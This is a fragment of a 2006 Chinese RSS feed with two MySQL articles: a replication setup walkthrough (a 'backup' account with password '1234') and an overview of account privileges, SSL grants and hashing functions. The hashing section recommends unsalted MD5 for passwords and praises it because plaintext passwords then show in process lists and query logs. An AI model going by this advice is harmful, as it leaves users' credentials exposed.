IDENTIFIED BY ‘1234’;
建立一个帐户backup，并且只能允许从192.168.100.2这个地址上来登陆，密码是1234。
2、因为mysql版本新密码算法不同，所以进入mysql下，输入：set password for 'backup'@'192.168.100.2'=old_password('1234');
3、关停A服务器，将A中的数据拷贝到B服务器中，使得A和B中的数据同步，并且确保在全部设置操作结束前，禁止在A和B服务器中进行写操作，使得两数据库中的数据一定要相同！
4、对A服务器的配置进行修改，打开mysql/my.ini文件，在[mysqld]下面添加如下内容：
server-id=1
log-bin=c:log-bin.log
server-id：为主服务器A的ID值
log-bin：二进制变更日值
5、重启A服务器，从现在起，它将把客户堆有关数据库的修改记载到二进制变更日志里去。
6、关停B服务器，对B服务器锦熙配置，以便让它知道自己的镜像ID、到哪里去找主服务器以及如何去连接服务器。最简单的情况是主、从服务器分别运行在不同的主机上并都使用着默认的TCP/IP端口，只要在从服务器启动时去读取的mysql/my.ini文件里添加以下几行指令就行了。
[mysqld]
server-id=2
master-host=192.168.100.1
master-user=backup
master-password=1234
//以下内容为可选 
replicate-do-db=backup
server-id：从服务器B的ID值。注意不能和主服务器的ID值相同。
master-host：主服务器的IP地址。
master-user：从服务器连接主服务器的帐号。
master-password：从服务器连接主服务器的帐号密码。
replicate-do-db：告诉主服务器只对指定的数据库进行同步镜像。
7、重启从服务器B。至此所有设置全部完成。更新A中的数据，B中也会立刻进行同步更新。如果从服务器没有进行同步更新，你可以通过查看从服务器中的mysql_error.log日志文件进行排错。
8、由于设置了slave的配置信息，mysql在数据库data目录下生成master.info,所以如有要修改相关slave的配置要先删除该文件，否则修改的配置不能生效。
]]></description>
		</item>
		<item>
			<title>MySQL数据库中的安全解决方案</title>
			<link>http://www.kingmx.com/article.php?id=14426</link>
			<pubDate>2006-11-23</pubDate>
			<description><![CDATA[
随着网络的普及，基于网络的应用也越来越多。网络数据库就是其中之一。通过一台或几台服务器可以为很多客户提供服务，这种方式给人们带来了很多方便，但也给不法分子造成了可乘之机。由于数据都是通过网络传输的，这就可以在传输的过程中被截获，或者通过非常手段进入数据库。由于以上原因，数据库安全就显得十分重要。因此，本文就以上问题讨论了MySQL数据库在网络安全方面的一些功能。 
　　帐户安全

　　帐户是MySQL最简单的安全措施。每一帐户都由用户名、密码以及位置（一般由服务器名、IP或通配符）组成。如用户john从server1进行登录可能和john从server2登录的权限不同。

　　MySQL的用户结构是用户名/密码/位置。这其中并不包括数据库名。下面的两条命令为database1和database2设置了SELECT用户权限。

GRANT SELECT ON database1.* to 'abc'@'server1' IDENTIFIED BY 'password1';

GRANT SELECT ON database2.* to 'abc'@'server1' IDENTIFIED BY 'password2';

　　第一条命令设置了用户abc在连接数据库database1时使用password1。第二条命令设置了用户abc在连接数据库database2时使用password2。因此，用户abc在连接数据库database1和database2的密码是不一样的。

　　上面的设置是非常有用的。如果你只想让用户对一个数据库进行有限的访问，而对其它数据库不能访问，这样可以对同一个用户设置不同的密码。如果不这样做，当用户发现这个用户名可以访问其它数据库时，那将会造成麻烦。

　　MySQL使用了很多授权表来跟踪用户和这些用户的不同权限。这些表就是在mysql数据库中的MyISAM表。将这些安全信息保存在MySQL中是非常有意义的。因此，我们可以使用标准的SQL来设置不同的权限。

　　一般在MySQL数据库中可以使用3种不同类型的安全检查：

　　·登录验证

　　也就是最常用的用户名和密码验证。一但你输入了正确的用户名和密码，这个验证就可通过。

　　·授权

　　在登录成功后，就要求对这个用户设置它的具体权限。如是否可以删除数据库中的表等。

　　·访问控制

　　这个安全类型更具体。它涉及到这个用户可以对数据表进行什么样的操作，如是否可以编辑数据库，是否可以查询数据等等。

　　访问控制由一些特权组成，这些特权涉及到所何使用和操作MySQL中的数据。它们都是布尔型，即要么允许，要么不允许。下面是这些特权的列表：

　　·SELECT

　　SELECT是设定用户是否可以使用SELECT来查询数据。如果用户没有这个特权，那么就只能执行一些简单的SELECT命令，如计算表达式（SELECT 1+2）,或是日期转换（SELECT Unix_TIMESTAMP(NOW( )))等。

　　·INSERT
　　·UPDATE
　　·INDEX

　　INDEX决定用户是否可以对表的索引进行设置。如果用户没有这个权限，那么将无法设置表中的索引。

　　·ALTER
　　·CREATE
　　·GRANT

　　如果一个用户拥有这个GRANT权限，那么他就可以将自己的权限授给别的用户。也就是说，这个用户可以和其它用户共享自己的权限。

　　·REFERENCES

　　有了REFERENCES权限，用户就可以将其它表的一个字段作为某一个表的外键约束。

　　除了以上的权限外，MySQL还有一些权限可以对整个MySQL进行操作。

　　·Reload

　　这个权限可以使用户有权执行各种FLUSH命令，如FLUSH TABLES, FLUSH STATUS等。

　　·Shutdown

　　这个权限允许用户关闭MySQL

　　·Process

　　通过这个权限，用户可以执行SHOW PROCESSLIST和KILL命令。这些命令可以查看MySQL的处理进程，可以通过这种方式查看SQL执行的细节。

　　·File

　　这个权限决定用户是否可以执行LOAD DATA INFILE命令。给用户这个权限要慎重，因为有这个权限的用户可以将任意的文件装载到表中，这样对MySQL是十分危险的。

　　·Super

　　这个权限允许用户终止任何查询（这些查询可能并不是这个用户执行的）。

　　以上几种权限是非常危险的，在给用户授权限时要非常谨慎。
　　MySQL中的SSL

　　以上的帐户安全只是以普通的Socket进行数据传输的，这样非常不安全。因此，MySQL在4.1版以后提供了对SSL（Secure Scokets Layer）的支持。MySQL使用的是免费的OpenSSL库。

　　由于MySQL的Linux版本一般都是随Linux本身一起发布，因此，它们默认时都不使用SSL进行传输数据。如果要打开SSL功能，需要对hava_openssl变量进行设置：

　　MySQL的Windows版本已经将OpenSSL加入了。也面的命令是查看你的MySQL是否打开了SSL功能。

SHOW VARIABLES LIKE 'have_openssl';

+---------------+-------+

| Variable_name | Value |

+---------------+-------+

| have_openssl | NO |

+---------------+-------+

1 row in set (0.00 sec)

　　如果返回的是NO，那么说明你需要将OpenSSL编译进自己的MySQL

　　在有时你可能需要将用户名和密码进行加密传输。在这时可以使用下面GRANT命令：

GRANT ALL PRIVILEGES ON ssl_only_db.* to 'abc'@'%' IDENTIFIED BY "password!" REQUIRE SSL; 

　　还可以通过 REQUIRE x509 选项进行SSL传输:

GRANT ALL PRIVILEGES ON ssl_only_db.* to 'abc'@'%' IDENTIFIED BY "password!" REQUIRE x509; 



　　你还可以使用REQUIRE SUBJECT来指定一个特定的客户端证书来访问数据库。

GRANT ALL PRIVILEGES ON ssl_only_db.* to 'abc'@'%'
IDENTIFIED BY "password!"
REQUIRE SUBJECT "/C=US/ST=New York/L=Albany/O=Widgets Inc./CN=client-ray.
example.com/emailAddress=raymond@example.com"; 

　　也许你并不关心使用的是什么客户许可，而仅仅关心的是你的证书。那么你可以使用REQUIRE ISSUER来实现：

GRANT ALL PRIVILEGES ON ssl_only_db.* to 'abc'@'%' IDENTIFIED BY "password!"
REQUIRE ISSUER "/C=US/ST=New+20York/L=Albany/O=Widgets Inc./CN=cacert.example.
com/emailAddress=admin@example.com"; 

　　SSL还可以直接通过密码进行加密。可以使用REQUIRE CIPHER设置密码。

GRANT ALL PRIVILEGES ON ssl_only_db.* to 'abc'@'%' IDENTIFIED BY "password!"
REQUIRE CIPHER "EDH-RSA-DES-CBC3-SHA"; 

　　上面使用了GRANT命令对用户权限进行设置。而这些信息都是保存在授权表中，这些表是安全系统的心脏。在这些表中保存了每一个用户和客户机所具有的权限。如果正确地操作这些表，将会对数据库的安全起到积极的作用，而如果使用不慎，将是非常危险的。

　　下面让我们来看看MySQL中的最要的5个授权表。

　　user

　　用户表保存了用户的权限和被加密的密码。这个表负责确定哪些用户和客户机可以连接到服务器上。

　　host

　　这个表为每一个客户机分配权限，它并不考虑用户的权限。MySQL在确定是否接收还是拒绝一个连接时，首先考虑的是user表。而使用GRANT或REVOKE命令并不影响host表，我们可以通过手工方式修改这个表中的内容。

　　db

　　db表保存了数据库层的权限信息。

　　tables_priv

　　这个表存储了表的权限信息。

　　columns_priv

　　这个表保存了单独列的权限信息。通过这个表，可以将操作某一列的权限授予一个用户。

　　哈希加密

　　如果数据库保存了敏感的数据，如银行卡密码，客户信息等，你可能想将这些数据以加密的形式保存在数据库中。这样即使有人进入了你的数据库，并看到了这些数据，也很难获得其中的真实信息。

　　在应用程序的大量信息中，也许你只想交很小的一部分进行加密，如用户的密码等。这些密码不应该以明文的形式保存，它们应该以加密的形式保存在数据库中。一般情况下，大多数系统，这其中包括MySQL本身都是使用哈希算法对敏感数据进行加密的。

　　哈希加密是单向加密，也就是说，被加密的字符串是无法得到原字符串的。这种方法使用很有限，一般只使用在密码验证或其它需要验证的地方。在比较时并不是将加密字符串进行解密，而是将输入的字符串也使用同样的方法进行加密，再和数据库中的加密字符串进行比较。这样即使知道了算法并得到了加密字符串，也无法还原最初的字符串。银行卡密码就是采用的这种方式进行加密。

　　MySQL提供了4个函数用于哈希加密：PASSWORD, ENCRYPT, SHA1和MD5。下面让我们试一试这4个函数，看看会得到什么结果。我们以加密字符串"pa55word"为例进行说明：

　　让我们先来看看MD5函数

SELECT MD5('pa55word');

+----------------------------------+

| MD5('pa55word') |

+----------------------------------+

| a17a41337551d6542fd005e18b43afd4 |

+----------------------------------+

1 row in set (0.13 sec)

　　下面是PASSWORD函数

SELECT PASSWORD('pa55word');

+----------------------+

| PASSWORD('pa55word') |

+----------------------+

| 1d35c6556b8cab45 |

+----------------------+

1 row in set (0.00 sec)

　　下面是ENCRYPT函数

SELECT ENCRYPT('pa55word');

+---------------------+

| ENCRYPT('pa55word') |

+---------------------+

| up2Ecb0Hdj25A |

+---------------------+

1 row in set (0.17 sec)

　　上面的每个函数都返回了一个加密后的字符串。为了区分加密字符串的大小写，最好在使用ENCRYPT生成加密字符串时，将这个字段定义成CHAR BINARY类型。

　　上面列举了3种加密的方法，但我认为使用MD5加密是最好的。这是因为这样做可以将明文密码显示在处理列表中或是查询日志中，这样便于跟踪。如下面的INSERT语句使用插入了一条记录，其中的密码使用了MD5进行加密：

INSERT INTO table1 (user, pw) VALUE ('user1', MD5('password1') ) 

　　可以通过如下的语句进行密码验证：

SELECT * FROM table1 WHERE user = 'user1' AND pw = MD5('password1') 

　　哈希加密方法可以很好地对密码进行加密，使用了这种方法加密，密码将无法 恢复成明文。

]]></description>
		</item>
	</channel>
 </rss>
